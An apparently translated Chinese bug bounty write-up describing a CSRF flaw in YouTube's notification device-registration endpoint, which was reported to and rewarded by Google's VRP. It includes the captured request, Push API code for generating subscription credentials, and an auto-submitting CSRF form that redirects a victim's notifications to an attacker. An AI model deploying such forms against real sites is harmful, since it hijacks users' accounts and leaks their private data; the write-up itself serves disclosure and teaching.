在本文中,我们将会为读者分析利用CSRF劫持YouTube用户通知的过程。故事发生在某天的半夜,当时,我正在YouTube上闲逛,无意中打开了自己的通知页面,具体请求如下所示:
POST /notifications_ajax?action_register_device=1 HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.youtube.com/sw.js Content-Type: multipart/form-data; boundary=---------------------------41184676334 Origin: https://www.youtube.com Content-Length: 1459 Connection: close Cookie: duh, cookies! -----------------------------41184676334 Content-Disposition: form-data; name="endpoint" https://updates.push.services.mozilla.com/wpush/v1/gAAA... -----------------------------41184676334 Content-Disposition: form-data; name="device_id" dbe8453d99714c6160994fdf5bb3c59332df04278a... -----------------------------41184676334 Content-Disposition: form-data; name="p256dh_key" BBNVkVOt6tpY1KvJJqtLvqt... -----------------------------41184676334 Content-Disposition: form-data; name="auth_key" V5-_lh6nYT2zoY... -----------------------------41184676334 Content-Disposition: form-data; name="permission" granted -----------------------------41184676334--
大家可能猜到我要说什么了!乍一看,所有这些参数,如auth_key、p256dh_key、endpoint、device_id,好像是用于防御CSRF的,但实际上,所有这些参数都是由Firefox为推送通知生成的。因此,这就意味着在这个端点上根本就没有提供CSRF保护措施。
想到这里,我后背一冷!难道我在YouTube上发现了一个CSRF漏洞?
深入研究后,我发现HTTP请求的referrer为“https:/www.youtube.com/sw.js”,即这些请求的都是由service worker发送的,因此,这个请求与YouTube上所有其他具有CSRF保护措施的请求都是不同的。
我确信,这的确是一个漏洞,但我也听说过,提交漏洞时,需要同时提供相应的POC或GTFO:P。因此,我还必须创建一个很好的PoC,以便于谷歌的VRP团队复现该漏洞。为此,我开始深入研究这些参数的生成方式。
在这个过程中,https://developer.mozilla.org/en-US/docs/Web/API/Push_API为我提供了莫大的帮助。
经过一番努力之后,终于写成了3段代码,并在本地服务器上运行,以生成相应的凭证:
index.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="index.css" /> <script src="index.js"></script> </head> <body> <h1>Hello World</h1> <button id="permission-btn" onclick="main()">Ask Permission</button> </body> </html> index.js const check = () => { if (!('serviceWorker' in navigator)) { throw new Error('No Service Worker support!') } if (!('PushManager' in window)) { throw new Error('No Push API Support!') } } const registerServiceWorker = async () => { const swRegistration = await navigator.serviceWorker.register('sw.js') return swRegistration } const requestNotificationPermission = async () => { const permission = await window.Notification.requestPermission() if (permission !== 'granted') { throw new Error('Permission not granted for Notification') } } const main = async () => { check() const swRegistration = await registerServiceWorker() const permission = await requestNotificationPermission() }
sw.js
self.addEventListener('activate', async () => { console.log("Hello"); self.registration.pushManager.subscribe() .then(function(subscription) { console.log(JSON.stringify(subscription)); }) .catch(function(e) { console.log(e); }); }) self.addEventListener("push", function(event) { if (event.data) { console.log("Push event!! ", event.data.text()); showLocalNotification("Yolo", event.data.text(), self.registration); } else { console.log("Push event but no data"); } }); const showLocalNotification = (title, body, swRegistration) => { const options = { body // here you can add more properties like icon, image, vibrate, etc. }; swRegistration.showNotification(title, options); };
这样,我们就能获得发动CSRF攻击所需的参数。之后,就可以利用这个漏洞在localhost上看到受害者的通知了!
实际上,我们就是在创建自己的端点,以便在localhost上接收通知,稍后,我们将在CSRF表单中使用这些通知。单击index.html上的按钮时,它会要求提供通知权限,注册service worker(sw.js),然后,使用Firefox的API为通知创建端点。
最后一步:CSRF表单。
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf"> <input type="text" name="device_id" value="replace"> <input type="text" name="permission" value="granted"> <input type="text" name="endpoint" value="replace"> <input type="text" name="p256dh_key" value="replace="> <input type="text" name="auth_key" value="replace"> <input type="submit"> <script type="text/javascript">document.csrf.submit();</script> </form> </html>
之后,我尝试从另一个帐户提交这个CSRF表单,竟然成功了!! 天啊!它确实奏效了。因此,受害者通知的PUSH webhook被设置成了攻击者的webhook。接下来,我们必须触发受害者那边的任何东西,比如对私人视频进行评论,该通知就会被触发:
于是,我报告了该漏洞,并且,半小时后该漏洞就被承认了,并对其进行了分类(我真是太高兴,因为我是个新手,之前还从而获得过bug赏金)
几天后,奖金就到手了:
感谢您阅读本文,我希望您能有所收获!
还没有评论,来说两句吧...